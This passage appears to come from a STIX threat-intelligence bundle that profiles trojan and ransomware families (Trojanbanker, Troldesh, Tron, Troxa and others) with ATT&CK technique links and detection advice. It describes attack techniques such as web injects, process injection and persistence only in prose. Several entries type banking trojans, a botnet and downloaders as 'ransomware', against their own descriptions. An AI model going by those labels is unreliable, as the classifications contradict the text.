outbound network connections to suspicious IP addresses immediately upon execution (`T1071.001`). The AV engine observes these 'trojan-like' actions and blocks the process heuristically.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the true nature of the blocked payload. Host-based IoCs consist of the quarantined file itself and the specific EDR telemetry detailing exactly which API calls or file system modifications triggered the heuristic engine. Network IoCs are critical for determining the malware's intent; analysts must review proxy logs for any outbound connections attempted by the process just before it was terminated. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trjgen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trjgen"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ba00108-cf42-576a-ad23-1745b481f5fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--635dc6e1-3740-5cab-a905-81806e2f026d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trjgen exhibits technique T1055 (Process Injection (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e3605c9-918d-5ccf-9686-597024a114c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--635dc6e1-3740-5cab-a905-81806e2f026d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trjgen exhibits technique T1027 (Obfuscated Files or Information (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb5bf410-e24d-5bf9-a625-530503c410bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--635dc6e1-3740-5cab-a905-81806e2f026d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trjgen exhibits technique T1547.001 (Boot or Logon Autostart Execution (Suspicious registry changes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2aa4fd24-d3da-57da-a2b5-9417646844b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trojanbanker",
      "description": "Trojan:Win32/TrojanBanker is a broad classification encompassing some of the most sophisticated and financially damaging malware in existence (including families like Zeus, Trickbot, Dridex, and Qakbot). Its primary objective is the theft of financial credentials, session cookies, and the manipulation of online banking sessions to facilitate fraudulent wire transfers (`T1111`).<br><br><b>Understanding TrojanBanker (Banking Trojans)</b><br>To an end-user, the infection is highly stealthy. They may log into their bank normally, unaware that the Trojan is manipulating the web page in real-time. For a SOC, a Banking Trojan infection is a critical incident. These trojans have evolved beyond simple keyloggers; they are modular cybercrime platforms. If a Banking Trojan is present on a corporate network, it is highly likely that network will soon be hit with ransomware, as the trojan operators sell access to ransomware cartels.<br><br><b>Execution and Fraud Mechanics</b><br>Distribution is heavily reliant on massive spear-phishing campaigns (`T1566.001`). Once executing, the TrojanBanker establishes deep persistence and injects itself into web browser processes (`T1055`). It uses techniques like 'Man-in-the-Browser' (MitB) to perform web injects (`T1111`): when the user navigates to a targeted banking site, the trojan intercepts the traffic, seamlessly injecting fake HTML forms (asking for 2FA tokens or credit card numbers) into the legitimate banking page. It captures all input before it is encrypted via SSL. Advanced variants also feature hidden VNC modules (`T1071.001`), allowing the attacker to initiate fraudulent transfers directly from the victim's machine to bypass geographic and device-fingerprinting fraud controls.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is direct financial theft and extreme risk of follow-on ransomware. Host-based IoCs include EDR alerts for process hollowing (especially targeting `explorer.exe` or `svchost.exe`), unauthorized API hooking in browser processes (Chrome, Edge, Firefox), and the presence of encrypted configuration files in `%AppData%`. Network IoCs include encrypted beaconing to known C2 infrastructure (often bulletproof hosting) and the download of dynamic web-inject configuration files. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trojanbanker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trojanbanker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7fd0e3b-50d3-57b6-adea-147b974214c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aa4fd24-d3da-57da-a2b5-9417646844b8",
      "target_ref": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trojanbanker exhibits technique T1111 (Two-Factor Authentication Interception (Using Man-in-the-Browser web injects to steal OTPs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fbbfbeb-3dad-50fa-8c16-b61f2e5fad64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aa4fd24-d3da-57da-a2b5-9417646844b8",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trojanbanker exhibits technique T1056.001 (Input Capture: Keylogging (Capturing credentials during login))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6784df26-f2de-5d5b-97d3-ade00b0fcd92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aa4fd24-d3da-57da-a2b5-9417646844b8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trojanbanker exhibits technique T1055 (Process Injection (Injecting into web browsers to monitor traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e93f7766-8dd3-5d9a-9f28-6f7fccc1fd5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2aa4fd24-d3da-57da-a2b5-9417646844b8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trojanbanker exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary delivery mechanism))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f5b2e1e-636a-598d-9f31-15c670fe9a1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trojna",
      "description": "Trojna (cataloged across early antivirus archives as TrojNa$, Trojan.Trojna, and Backdoor.Win32.Trojna) is an early-2000s Remote Access Trojan created in Visual Basic and Delphi. Developed during the golden era of classic Windows backdoors, Trojna was designed to afford remote unauthorized operators comprehensive control over compromised Windows 9x, ME, and 2000 endpoints. Upon initial infection, Trojna copies its server binary into system folders, creates autostart registry entries under the Windows Run keys, and opens a persistent listening TCP socket to await commands from an attacker client console. The trojan features a wide range of remote administration capabilities, including file system browsing, file upload and download, remote process enumeration and termination, registry hive manipulation, system rebooting, desktop screen captures, and keystroke logging.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojNa$",
        "Backdoor.Trojna",
        "Trojan.Win32.Trojna",
        "TrojNa 1.0",
        "Backdoor:Win32/Trojna"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trojna",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trojna"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--120b3265-63b8-5439-8f51-3654edb119c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5b2e1e-636a-598d-9f31-15c670fe9a1f",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trojna exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--497a2532-f5cc-506e-a2e9-e995d0327b13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5b2e1e-636a-598d-9f31-15c670fe9a1f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trojna exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de5c77a2-9aa8-5302-9e8e-d3327dd05cda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5b2e1e-636a-598d-9f31-15c670fe9a1f",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trojna exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6f34e91-095e-576a-94b4-de4622861548",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5b2e1e-636a-598d-9f31-15c670fe9a1f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trojna exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df106a35-f238-5d9b-9f3e-871a74824be2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f5b2e1e-636a-598d-9f31-15c670fe9a1f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trojna exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a26d0744-07b2-5dd6-b8b8-0cc5e98c012e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Troldesh",
      "description": "Troldesh (widely tracked across the intelligence community as Shade or Encrypter.JPHP) is a notorious Russian-speaking ransomware family first active in late 2014. Troldesh earned international attention for its idiosyncratic behavior: its ransom notes often contained Russian poetry and philosophical passages, and it cycled through numerous distinctive file extensions including `.crypted`, `.xtbl`, `.ytbl`, and `.breaking_bad`.\n\nTroldesh utilized AES-256 in CBC mode to encrypt victim data, protecting the key with asymmetric RSA-2048 encryption. In April 2020, the operators of Troldesh executed an extraordinary and voluntary exit: they published a public apology on GitHub and hacker forums ('We are the team which created a trojan-encryptor known as Shade, Troldesh... we made a decision to put an end to this story and to publish the rest of decryption keys'), releasing over 750,000 private decryption keys. Security vendors including Kaspersky Lab and Group-IB verified the keys and updated the free 'ShadeDecryptor' utility, allowing all remaining historical victims worldwide to recover their encrypted data free of charge. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Troldesh",
        "Shade",
        "Trojan.Troldesh",
        "Ransom.Shade",
        "Win32/Troldesh"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Troldesh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/troldesh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f682e02-9430-546f-aee3-d860cfb15440",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a26d0744-07b2-5dd6-b8b8-0cc5e98c012e",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Troldesh exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e39387c-1cef-53a1-81dd-276e28114bfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a26d0744-07b2-5dd6-b8b8-0cc5e98c012e",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Troldesh exhibits technique T1090.003 (Connection Proxy: Multi-hop Proxy (Tor))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--412a047a-692a-5d9b-a62e-53e1d81e1570",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a26d0744-07b2-5dd6-b8b8-0cc5e98c012e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Troldesh exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2330cc32-5bb3-52c3-9548-41ebf829ba84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a26d0744-07b2-5dd6-b8b8-0cc5e98c012e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Troldesh exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99b6a0f2-3b89-51d0-bbb0-9ddebc99d000",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a26d0744-07b2-5dd6-b8b8-0cc5e98c012e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Troldesh exhibits technique T1105 (Ingress Tool Transfer (Secondary Payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5b88c00d-a4be-5e69-a368-3c9efb06cb8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tron",
      "description": "<h3>Executive Summary</h3>\nTron is a sophisticated Botnet and Trojan framework designed to subjugate infected Windows systems. Once a machine is compromised, Tron integrates it into a centralized command-and-control (C2) infrastructure, allowing remote attackers to utilize the host for distributed denial-of-service (DDoS) attacks, mass spam distribution, or as a proxy for further malicious activity.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTron is typically distributed via drive-by downloads from compromised websites, malicious email attachments, or dropped as a secondary payload by other initial access brokers.\n\nUpon execution, Tron immediately establishes stealth and connectivity:\n<ul>\n<li><strong>C2 Communication:</strong> The malware reaches out to its C2 infrastructure using custom, encrypted protocols (often over IRC or HTTP), registering the newly infected host and awaiting instructions.</li>\n<li><strong>Persistence and Evasion:</strong> Tron modifies the Windows Registry to ensure execution upon boot. It frequently employs process hollowing or injection, migrating its malicious threads into legitimate Windows processes (like `svchost.exe`) to mask its presence from local firewalls.</li>\n<li><strong>Modular Execution:</strong> The C2 server can push specific plugin modules to the infected host based on the attacker's goals. Common modules include UDP/TCP flood tools for DDoS attacks and payload downloaders for deploying ransomware.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA Tron infection introduces significant legal and operational risks. The endpoint's bandwidth and CPU are consumed by the botnet, and the organization's IP address may be blacklisted by security vendors for participating in DDoS attacks or distributing spam.\n\n<h3>Detection and Incident Response</h3>\n<ul>\n<li><strong>Network Traffic Analysis:</strong> Monitor edge firewalls for persistent, anomalous outbound traffic to unknown IP addresses, particularly traffic that resembles DDoS flooding or unauthorized IRC connections.</li>\n<li><strong>Endpoint Isolation:</strong> Instantly quarantine any endpoint demonstrating botnet beaconing behavior to prevent it from participating in coordinated attacks.</li>\n<li><strong>System Re-image:</strong> Because botnet malware often downloads rootkits or secondary payloads to ensure deep persistence, the most secure remediation strategy is a complete wipe and re-image of the compromised endpoint.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Botnet.Tron",
        "Trojan.Tron",
        "Win32/Tron"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tron",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tron"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b06109fc-b319-54b2-a124-24b6a9c641f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b88c00d-a4be-5e69-a368-3c9efb06cb8f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tron exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--440d0fe2-2134-5256-bb70-611ed75730a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b88c00d-a4be-5e69-a368-3c9efb06cb8f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tron exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--650a0dc3-7f48-5763-98e2-f7a552b477b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b88c00d-a4be-5e69-a368-3c9efb06cb8f",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tron exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e0a44cc-f3f2-5c67-b63b-ca995f2ad761",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b88c00d-a4be-5e69-a368-3c9efb06cb8f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tron exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--186de775-a481-5756-90d6-0ca658825b45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Troxa",
      "description": "<h3>Executive Summary</h3>\nTroxa is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTroxa is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Troxa operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Troxa ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Troxa receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Troxa infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Troxa executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Troxa frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Troxa",
        "Downloader.Troxa",
        "Win32/Troxa"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Troxa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/troxa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50ecf7ca-bf0d-5883-b04d-026e4f1ec089",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--186de775-a481-5756-90d6-0ca658825b45",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Troxa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c7d06c2-c551-5113-9e3d-d5344647dbcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--186de775-a481-5756-90d6-0ca658825b45",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Troxa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baa9969a-affa-54df-879b-aebefd15cec1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--186de775-a481-5756-90d6-0ca658825b45",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Troxa exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4c1eb55f-fa7d-58d7-b852-53eb344bacd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Trpctrooper",
      "description": "Trojan:Win32/Trpctrooper is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Trpctrooper</b><br>To an end-user, a Trpctrooper infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Trpctrooper is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Trpctrooper is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Trpctrooper frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Trpctrooper reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Trpctrooper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/trpctrooper"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e98535b5-e17c-5d57-b095-39aa519df38a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c1eb55f-fa7d-58d7-b852-53eb344bacd8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trpctrooper exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63622f13-8d89-515a-b12e-97eebf455806",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c1eb55f-fa7d-58d7-b852-53eb344bacd8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trpctrooper exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a3dea69-f063-5952-b3fd-4c8e7a9ab375",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c1eb55f-fa7d-58d7-b852-53eb344bacd8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Trpctrooper exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc06af2c-798c-5a9a-b50f-6924721d8f7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
